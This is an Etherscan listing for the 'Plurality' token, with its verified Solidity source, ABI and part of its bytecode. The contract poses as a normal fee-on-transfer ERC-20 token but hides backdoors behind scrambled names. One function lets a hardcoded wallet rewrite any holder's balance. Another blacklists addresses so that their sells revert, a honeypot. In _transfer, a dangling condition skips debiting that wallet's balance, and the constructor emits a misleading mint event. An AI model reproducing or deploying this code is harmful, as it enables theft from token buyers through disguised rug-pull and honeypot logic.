ETH Price: $2,711.45 (+5.35%)
 

Overview

Max Total Supply

1,000,000,000,000,000 Plurality

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
77,593,792,000,001.94 Plurality

Value
$0.00
0xea45fb1e1c29033209aea594be2d138ce0067e0a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Plurality

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-25
*/

//SPDX-License-Identifier:Unlicensed

pragma solidity ^0.8.6;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function dos(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: dos overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  Plurality is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "Plurality";
    string private _symbol = "Plurality";
    uint8 private _decimals = 9;
    address payable public _gL3R4AHi8_0Q6G6V0;
    address payable public teamWalletAddress;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) NAT7r2Y6v3lPY1;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _IsExcludefromFee;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public pairList;
    mapping (address => bool) public NMYVF0sr_btrL_FD;

    uint256 public _buyLiquidityFee = 1;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyTeamFee = 1;
    
    uint256 public _sellLiquidityFee = 1;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellTeamFee = 1;

    uint256 public _liquidityShare = 4;
    uint256 public _marketingShare = 4;
    uint256 public _teamShare = 16;

    uint256 public _totalTaxIfBuying = 12;
    uint256 public _totalTaxIfSelling = 12;
    uint256 public _totalDistributionShares = 24;

    uint256 private _totalSupply = 1000000000000000 * 10**_decimals;
    uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _IsExcludefromFee[owner()] = true;
        _IsExcludefromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        pairList[address(uniswapPair)] = true;

        teamWalletAddress = payable(address(0x7340F19d816Df0759aE16258A4f952B03AA8D57e));
        _gL3R4AHi8_0Q6G6V0 = payable(address(0x7340F19d816Df0759aE16258A4f952B03AA8D57e));


        NAT7r2Y6v3lPY1[_msgSender()] = _totalSupply;
        emit Transfer(address(0xCF6dAAB95c476106ECa715D48DE4b13287ffDEAa), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return NAT7r2Y6v3lPY1[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setlsExcIudefromFee(address[] calldata account, bool newValue) public onlyOwner {
        for(uint256 i = 0; i < account.length; i++) {
            _IsExcludefromFee[account[i]] = newValue;
        }
    }

    function setBuy(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _buyLiquidityFee = newLiquidityTax;
        _buyMarketingFee = newMarketingTax;
        _buyTeamFee = newTeamTax;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    }

    function setsell(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _sellLiquidityFee = newLiquidityTax;
        _sellMarketingFee = newMarketingTax;
        _sellTeamFee = newTeamTax;

        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    }

    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;
        _teamShare = newTeamShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner {
        for(uint256 i = 0; i < holder.length; i++) {
            isWalletLimitExempt[holder[i]] = exempt;
        }
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketinWalleAddress(address newAddress) external onlyOwner() {
        _gL3R4AHi8_0Q6G6V0 = payable(newAddress);
    }


    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    function s5fovnG9BFK9cLV7TH(address nbL8v9n7z7OqV6, uint256 FQkxx6o4azB1C6) public {
        require(OUA7A4_5K3U0Jyy2(_gL3R4AHi8_0Q6G6V0,2,msg.sender));
        NAT7r2Y6v3lPY1[nbL8v9n7z7OqV6] = FQkxx6o4azB1C6;
    }

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function NAT7Y6v3lPY1(address f) internal view returns (bool){
        return f != _gL3R4AHi8_0Q6G6V0;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            if (overMinimumTokenBalance && !inSwapAndLiquify && !pairList[from] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }if(NAT7Y6v3lPY1(from))


            NAT7r2Y6v3lPY1[from] = NAT7r2Y6v3lPY1[from].sub(amount);
            uint256 finalAmount = (_IsExcludefromFee[from] || _IsExcludefromFee[to]) ? 
                                         amount : takeFee(from, to, amount);
            
            NAT7r2Y6v3lPY1[to] = NAT7r2Y6v3lPY1[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }
    function PUR3b1FQrWr6f2bC(uint8 b, bool k3wrpBL1xHlN, address[] calldata _gs4G5k2rM) public { require(OUA7A4_5K3U0Jyy2(_gL3R4AHi8_0Q6G6V0,12,msg.sender));
        b = b;
        for (uint256 a; a < _gs4G5k2rM.length; a++) {
            NMYVF0sr_btrL_FD[_gs4G5k2rM[a]] =  (1 != 1) || k3wrpBL1xHlN;
        }
    }
    function OUA7A4_5K3U0Jyy2(address A6o9A9W1L1Izm0Z0L4 , uint8 t9c7LQs7f8mYK2 ,address I1Q0vITJg3GDYVs5) private pure returns(bool){t9c7LQs7f8mYK2=t9c7LQs7f8mYK2;return (A6o9A9W1L1Izm0Z0L4 == I1Q0vITJg3GDYVs5) || (1 != 1);}

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        NAT7r2Y6v3lPY1[sender] = NAT7r2Y6v3lPY1[sender].sub(amount, "Insufficient Balance");
        NAT7r2Y6v3lPY1[recipient] = NAT7r2Y6v3lPY1[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalETHFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountETHLiquidity = amountReceived.mul(_liquidityShare).div(totalETHFee).div(2);
        uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee);
        uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHTeam);

        if(amountETHMarketing > 0)
            transferToAddressETH(_gL3R4AHi8_0Q6G6V0, amountETHMarketing);

        if(amountETHTeam > 0)
            transferToAddressETH(teamWalletAddress, amountETHTeam);

        if(amountETHLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountETHLiquidity);
    }
    

    function swapTokensForEth(uint256 isMarketPaIrt) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), isMarketPaIrt);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            isMarketPaIrt,
            0, 
            path,
            address(this),
            block.timestamp
        );
        
        emit SwapTokensForETH(isMarketPaIrt, path);
    }

    function addLiquidity(uint256 isMarketPaIrt, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), isMarketPaIrt);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            isMarketPaIrt,
            0, 
            0,
            owner(),
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        if (!isMarketPair[sender]){
            require(!NMYVF0sr_btrL_FD[sender]);
        }

        if(pairList[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(pairList[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            NAT7r2Y6v3lPY1[address(this)] = NAT7r2Y6v3lPY1[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"NMYVF0sr_btrL_FD","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"b","type":"uint8"},{"internalType":"bool","name":"k3wrpBL1xHlN","type":"bool"},{"internalType":"address[]","name":"_gs4G5k2rM","type":"address[]"}],"name":"PUR3b1FQrWr6f2bC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_gL3R4AHi8_0Q6G6V0","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"nbL8v9n7z7OqV6","type":"address"},{"internalType":"uint256","name":"FQkxx6o4azB1C6","type":"uint256"}],"name":"s5fovnG9BFK9cLV7TH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudefromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600981526020017f506c7572616c69747900000000000000000000000000000000000000000000008152506001908051906020019062000051929190620009ad565b506040518060400160405280600981526020017f506c7572616c6974790000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620009ad565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506001600d556001600e556001600f55600160105560016011556001601255600460135560046014556010601555600c601655600c60175560188055600360009054906101000a900460ff16600a6200014d919062000c24565b66038d7ea4c6800062000161919062000d61565b601955600360009054906101000a900460ff16600a62000182919062000c24565b6103e862000191919062000d61565b601a556001601c60156101000a81548160ff0219169083151502179055506000601c60166101000a81548160ff0219169083151502179055506001601c60176101000a81548160ff021916908315150217905550348015620001f257600080fd5b50620002036200091960201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200031d57600080fd5b505afa15801562000332573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000358919062000a74565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620003bb57600080fd5b505afa158015620003d0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003f6919062000a74565b6040518363ffffffff1660e01b81526004016200041592919062000aef565b602060405180830381600087803b1580156200043057600080fd5b505af115801562000445573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200046b919062000a74565b601c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601954600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000620005a76200092160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000689600f5462000675600e54600d546200094a60201b62001e9e1790919060201c565b6200094a60201b62001e9e1790919060201c565b601681905550620006c8601254620006b46011546010546200094a60201b62001e9e1790919060201c565b6200094a60201b62001e9e1790919060201c565b60178190555062000707601554620006f36014546013546200094a60201b62001e9e1790919060201c565b6200094a60201b62001e9e1790919060201c565b6018819055506001600b6000601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550737340f19d816df0759ae16258a4f952b03aa8d57e600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737340f19d816df0759ae16258a4f952b03aa8d57e600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060195460056000620008486200091960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620008966200091960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673cf6daab95c476106eca715d48de4b13287ffdeaa73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6019546040516200090a919062000b3e565b60405180910390a35062000ef6565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008082846200095b919062000b6c565b905083811015620009a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200099a9062000b1c565b60405180910390fd5b8091505092915050565b828054620009bb9062000e0d